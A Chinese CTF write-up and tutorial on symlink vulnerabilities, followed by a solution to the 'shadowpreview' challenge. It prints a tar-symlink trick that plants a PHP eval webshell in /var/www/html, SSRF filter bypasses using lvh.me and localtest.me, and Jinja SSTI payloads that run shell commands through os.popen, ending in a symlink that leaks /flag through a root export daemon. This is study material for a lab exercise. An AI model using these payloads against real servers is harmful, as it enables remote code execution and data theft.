软连接一、什么是软连接在 Linux 系统中软链接可以简单理解为 Windows 里的“快捷方式”。 它本身是一个独立的文件但它的内容仅仅是指向另一个文件或目录的路径。当你用文本编辑器打开或用命令读取这个软链接时操作系统会自动顺着这个路径去读取真正的目标文件。创建软链接的命令格式为ln -s [目标文件路径] [软链接名称]二、漏洞成因代码成因使用了不安全的解压函数或参数未对压缩包内的文件属性进行过滤。命令行调用开发者图省事直接使用系统命令解压如exec(tar -xf . $filename)。tar命令默认会保留并恢复软链接。API 调用缺陷在 Python 开发中经常使用tarfile库。如果直接调用tarfile.extractall()在早期的 Python 版本中它会毫无保留地把压缩包里的软链接还原到文件系统中这被称为Zip Slip漏洞的变体。# [反面教材] Python 不安全的解压逻辑 import tarfile ​ def upload_and_extract(tar_path, target_dir): with tarfile.open(tar_path, r) as tar: # extractall 默认不检查软链接和 ../ 路径穿越 tar.extractall(pathtarget_dir)2. 文件读取/下载功能如果应用提供文件读取或下载功能比如读取用户上传的头像、下载附件且攻击者能够控制读取的路径或者能够预先在目标路径埋下一个软链接。代码成因只验证了路径字符串的外观没有验证物理真实路径。开发者可能写了正则去验证路径里没有../认为这样就安全了但忽略了软链接本身就可以实现“跳转”。// [反面教材] PHP 不安全的文件读取 $filepath /var/www/uploads/ . $_GET[filename]; ​ // 开发者自以为安全的防护去除了 ../ $filepath str_replace(../, , $filepath); ​ // 但如果 $_GET[filename] 实际上是一个软链接文件 // file_get_contents 会直接顺着软链接读取底层真实文件 echo file_get_contents($filepath);3. 文件覆盖与写入竞态条件 / Race Condition在某些复杂的系统中程序可能会创建一个临时文件写入数据然后再将其移动或修改权限。如果这个目录对攻击者可写攻击者可以在程序写入之前抢先创建一个同名的软链接指向关键系统文件如/etc/passwd。代码成因对文件操作的原子性考虑不足且未检查目标文件是否已经是软链接。当程序以高权限如 Root向那个“临时文件”写入内容时实际上就写入了攻击者指定的系统文件。这种攻击手法在本地提权Local Privilege Escalation中非常经典。4.ctf中常见写法eg.exec(cd /tmp tar -xvf . $filename.pwd);文件会被解压到/tmp/目录下。/tmp/是系统的临时目录Web 服务通常无法直接访问这里的文件。既然不能直接读我们就利用tar的解压特性把一个 Webshell“写”到 Web 目录下比如/var/www/html。三、实战步骤1、创建软连接文件夹创建一个指向/var/www/html目录的软连接因为html目录下大部分是web环境ln -s /var/www/html link_dir tar -cf 1.tar link_dir还可以用ll来查看文件夹的真实指向2、构造第二个压缩包部署木马mkdir temp_work cd temp_work mkdir link_dir echo ?php eval($_POST[cmd]); ? link_dir/shell.php tar -cf ../2.tar link_dir/shell.php cd ..3、上传并触发在题目页面先上传1.tar。服务器执行tar -xvf 1.tar。此时服务器的/tmp/目录下多了一个叫link_dir的快捷方式指向/var/www/html。紧接着上传2.tar。服务器执行tar -xvf 2.tar。tar试图把shell.php解压到link_dir/文件夹里。因为它发现link_dir是一个指向/var/www/html的软链接于是它顺水推舟直接把木马写到了/var/www/html/shell.php例题shadowpreview考点ssrf、ssti、软连接这题的Preview DRL可以fetch内容这很明显是考察ssrf先传http://127.0.0.1看看回显显示Error: {error:target blocked,ok:false}明显这个本地回环被waf了。一开始直接让ai给了我集中绕过方法尝试了进制转换、ipv6、特殊符号、还有几个特殊域名。结果都被waf掉了那只能先看一下别的东西这里发现源代码泄露了个js文件这里面暴露了很多个接口一开始还以为是利用/api/proxy这个接口打ssrf但是尝试发现并没有什么有效信息后面给ai分析发现原来这个legac有老旧的意思应证了题目描述中的旧路径的提示那估计就是要用这个接口去访问到敏感文件但是问题是前面的127.0.0.1的waf还没绕过。ai给的方法基本都试完了只能上网找神秘博客找到这个发现这其中两种指向127.0.0.1的域名能绕过嘿嘿localtest.me lvh.me接下来直接访问缺少文件404但是又不知道要访问啥敏感文件先猜几个常用的index.php、robots.txt、flag.txt、flag.php没啥用。放到burpsuit用字典扫一波发现泄露了app.py泄露了个python文件那猜测应该是ssti或者原型链污染之类的直接把源代码丢给ai分析一波ok: true status: 200 length: 4920 digest: 35dfb5b3d8c7 ​ ----- body ----- import hashlib import json import re from pathlib import Path from urllib.parse import urlparse ​ import requests from flask import Flask, Response, abort, jsonify, render_template, render_template_string, request, send_file ​ ​ APP_ROOT Path(__file__).resolve().parent DATA_ROOT Path(/data) WORK_ROOT DATA_ROOT / work EXPORT_ROOT DATA_ROOT / exports QUEUE_ROOT DATA_ROOT / queue RID_RE re.compile(r^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$) BLOCKED_TOKENS [127.0.0.1, 127., localhost, 0.0.0.0, ::1] ​ ​ app Flask(__name__) app.config[MAX_CONTENT_LENGTH] 1024 * 1024 ​ ​ def valid_rid(rid: str) - bool: return bool(RID_RE.fullmatch(rid or )) ​ ​ def ensure_workspace(rid: str) - dict: work_dir WORK_ROOT / rid src_dir work_dir / sources export_dir EXPORT_ROOT / rid ​ src_dir.mkdir(parentsTrue, exist_okTrue) export_dir.mkdir(parentsTrue, exist_okTrue) ​ summary_path src_dir / summary.md if not summary_path.exists(): summary_path.write_text( # ShadowPreview Report\n\n status: draft\n owner: guest\n note: export pipeline sanity check pending.\n, encodingutf-8, ) ​ return { work_dir: str(work_dir), summary_path: str(summary_path), download_path: f/downloads/{rid}/bundle.zip, } ​ ​ app.get(/) def index(): return render_template(index.html) ​ ​ app.get(/api/bootstrap/rid) def api_bootstrap(rid: str): if not valid_rid(rid): return jsonify({ok: False, error: invalid rid}), 400 return jsonify({ok: True, **ensure_workspace(rid)}) ​ ​ app.get(/api/status) def api_status(): return jsonify({ok: 1, service: shadowpreview, mode: preview}) ​ ​ app.get(/api/proxy) def api_proxy(): url request.args.get(url, ) lowered url.lower() if any(token in lowered for token in BLOCKED_TOKENS): return jsonify({ok: False, error: target blocked}), 403 ​ parsed urlparse(url) if parsed.scheme not in (http, https): return jsonify({ok: False, error: unsupported scheme}), 400 ​ try: resp requests.get(url, timeout3, allow_redirectsTrue) except requests.RequestException as exc: return jsonify({ok: False, error: str(exc)}), 502 ​ content_type resp.headers.get(Content-Type, ) body if any(marker in content_type for marker in (text, json, javascript)): body resp.text[:8192] ​ return jsonify( { ok: True, status: resp.status_code, length: len(resp.content), digest: hashlib.sha1(resp.content).hexdigest()[:12], body: body, } ) ​ ​ app.get(/internal/report/render) def internal_report_render(): rid request.args.get(rid, ) username request.args.get(username, ) password request.args.get(password, ) ​ if not valid_rid(rid): return jsonify({ok: False, error: invalid rid}), 400 ​ ensure_workspace(rid) ​ tpl (APP_ROOT / templates / report.html).read_text(encodingutf-8) tpl tpl.replace(__USER__, username[:2000]) ​ render_template_string(tpl, ridrid, passwordpassword) return jsonify({ok: True}) ​ ​ app.get(/internal/debug/source/app.py) def internal_debug_source_app(): if request.remote_addr ! 127.0.0.1: abort(403) return Response((APP_ROOT / app.py).read_text(encodingutf-8), mimetypetext/plain; charsetutf-8) ​ ​ app.post(/api/export/rid) def api_export(rid: str): if not valid_rid(rid): return jsonify({ok: False, error: invalid rid}), 400 ​ ensure_workspace(rid) QUEUE_ROOT.mkdir(parentsTrue, exist_okTrue) (QUEUE_ROOT / f{rid}.job).write_text(rid, encodingascii) return jsonify({ok: True, queued: True, download: f/downloads/{rid}/bundle.zip}) ​ ​ app.get(/downloads/rid/bundle.zip) def download_bundle(rid: str): if not valid_rid(rid): abort(404) ​ bundle EXPORT_ROOT / rid / bundle.zip if not bundle.exists(): abort(404) return send_file(bundle, mimetypeapplication/zip, as_attachmentTrue, download_namebundle.zip) ​ ​ app.get(/api/source/rid) def api_source(rid: str): if not valid_rid(rid): return jsonify({ok: False, error: invalid rid}), 400 ​ paths ensure_workspace(rid) summary Path(paths[summary_path]).read_text(encodingutf-8, errorsignore) return jsonify({ok: True, summary: summary}) ​ ​ app.errorhandler(404) def not_found(_): return jsonify({ok: False, error: not found}), 404 ​ ​ app.errorhandler(500) def app_error(exc): return jsonify({ok: False, error: str(exc)}), 500 ​ ​ if __name__ __main__: app.run(host127.0.0.1, port5000)那可以直接构造payload打ssti了payload大致逻辑利用ssti把自己看不到的回显覆盖写入到可以下载下来的summary.md文件中http://lvh.me:5000/internal/report/render?rid80dcedef-d730-4bb3-9872-9a58312041e4username{{lipsum.__globals__[os].popen(ls / /data/work/80dcedef-d730-4bb3-9872-9a58312041e4/sources/summary.md).read()}}接着尝试http://lvh.me:5000/internal/report/render?rid80dcedef-d730-4bb3-9872-9a58312041e4username{{lipsum.__globals__[os].popen(cat /flag /data/work/80dcedef-d730-4bb3-9872-9a58312041e4/sources/summary.md).read()}}发现返回为空http://lvh.me:5000/internal/report/render?rid80dcedef-d730-4bb3-9872-9a58312041e4username{{lipsum.__globals__[os].popen(env /data/work/80dcedef-d730-4bb3-9872-9a58312041e4/sources/summary.md).read()}}http://lvh.me:5000/internal/report/render?rid89b36005-f43b-4bdf-a269-386dd2eb7d4cusername{{config.__class__.__init__.__globals__[os].popen(ls%20-la%20/app%20%20/data/work/89b36005-f43b-4bdf-a269-386dd2eb7d4c/sources/summary.md).read()}}把回显都丢给ai分析一下发现这里有一个以root权限运行的进程exportd.py那只要能在exportd.py运行时利用命令拼接之类的方法执行命令那就能以root的身份去读/flag之后的操作就和上面一样了http://lvh.me:5000/internal/report/render?rid89b36005-f43b-4bdf-a269-386dd2eb7d4cusername{{config.__class__.__init__.__globals__[os].popen(cat%20/app/exportd.py%20%20/data/work/89b36005-f43b-4bdf-a269-386dd2eb7d4c/sources/summary.md).read()}}依旧把脚本丢给ai分析import json import re import signal import time import zipfile from pathlib import Path ​ DATA_ROOT Path(/data) WORK_ROOT DATA_ROOT / work EXPORT_ROOT DATA_ROOT / exports QUEUE_ROOT DATA_ROOT / queue RID_RE re.compile(r^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$) RUNNING True ​ ​ def on_signal(_signum, _frame): global RUNNING RUNNING False ​ ​ def valid_rid(rid: str) - bool: return bool(RID_RE.fullmatch(rid or )) ​ ​ def do_export(rid: str) - None: src WORK_ROOT / rid / sources / summary.md out_dir EXPORT_ROOT / rid out_dir.mkdir(parentsTrue, exist_okTrue) ​ # Intentionally vulnerable: open() follows symlinks. summary src.read_bytes() ​ meta { rid: rid, entries: [report/summary.md], engine: exportd/1.4, } ​ bundle out_dir / bundle.zip with zipfile.ZipFile(bundle, w, zipfile.ZIP_DEFLATED) as zf: zf.writestr(report/summary.md, summary) zf.writestr(report/meta.json, json.dumps(meta, indent2)) ​ ​ def main() - None: signal.signal(signal.SIGTERM, on_signal) signal.signal(signal.SIGINT, on_signal) QUEUE_ROOT.mkdir(parentsTrue, exist_okTrue) ​ while RUNNING: for job in sorted(QUEUE_ROOT.glob(*.job)): rid job.read_text(encodingascii, errorsignore).strip() or job.stem try: if valid_rid(rid): do_export(rid) finally: try: job.unlink() except FileNotFoundError: pass time.sleep(0.5) ​ ​ if __name__ __main__: main()这里也是学到了之前软连接基本都是在文件上传遇到第一次见到软连接还可以这样用在代码打包时利用软连接把打包的文件内容作为一个类似指针的东西指向/flag这样代码就会跟随指针把/flag打包到我们可以下载的文件中最终payload利用ln -sf命令把flag强行覆盖到summary.md文件中http://lvh.me:5000/internal/report/render?rid89b36005-f43b-4bdf-a269-386dd2eb7d4cusername{{config.__class__.__init__.__globals__[os].popen(ln%20-sf%20/flag%20/data/work/89b36005-f43b-4bdf-a269-386dd2eb7d4c/sources/summary.md).read()}}